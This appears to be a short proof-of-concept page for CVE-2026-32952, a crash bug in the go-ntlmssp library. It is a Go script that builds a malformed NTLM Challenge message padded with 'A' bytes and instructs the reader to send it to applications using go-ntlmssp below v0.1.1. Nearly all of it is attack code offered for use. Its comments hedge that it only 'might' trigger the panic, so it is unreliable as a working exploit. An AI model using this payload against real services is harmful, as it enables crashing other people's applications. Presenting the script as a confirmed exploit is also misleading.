CVE-2026-32952 go-ntlmssp越界访问致崩溃漏洞

package main import ( "bytes" "encoding/hex" "fmt" ) // This script generates a malformed NTLM Challenge message // that can trigger the slice out of bounds panic in vulnerable versions of go-ntlmssp. func main() { // NTLM Signature: 'NTLMSSP' + Null terminator signature := []byte{0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00} // Message Type: 2 (Challenge) msgType := []byte{0x02, 0x00, 0x00, 0x00} // Constructing a payload with manipulated target name fields // to potentially trigger the parsing logic error. // The specific offsets depend on the library's parsing logic. buffer := new(bytes.Buffer) buffer.Write(signature) buffer.Write(msgType) // Fill buffer with data that might cause index out of bounds // This simulates a malformed TargetInfo fields or length mismatches malformedData := make([]byte, 32) for i := range malformedData { malformedData[i] = 0x41 // 'A' } buffer.Write(malformedData) payload := buffer.Bytes() fmt.Println("Generated Malformed NTLM Challenge Payload:") fmt.Println(hex.Dump(payload)) // To exploit: Send this payload as the NTLM Challenge response // to a Go application using 'github.com/Azure/go-ntlmssp' < v0.1.1 }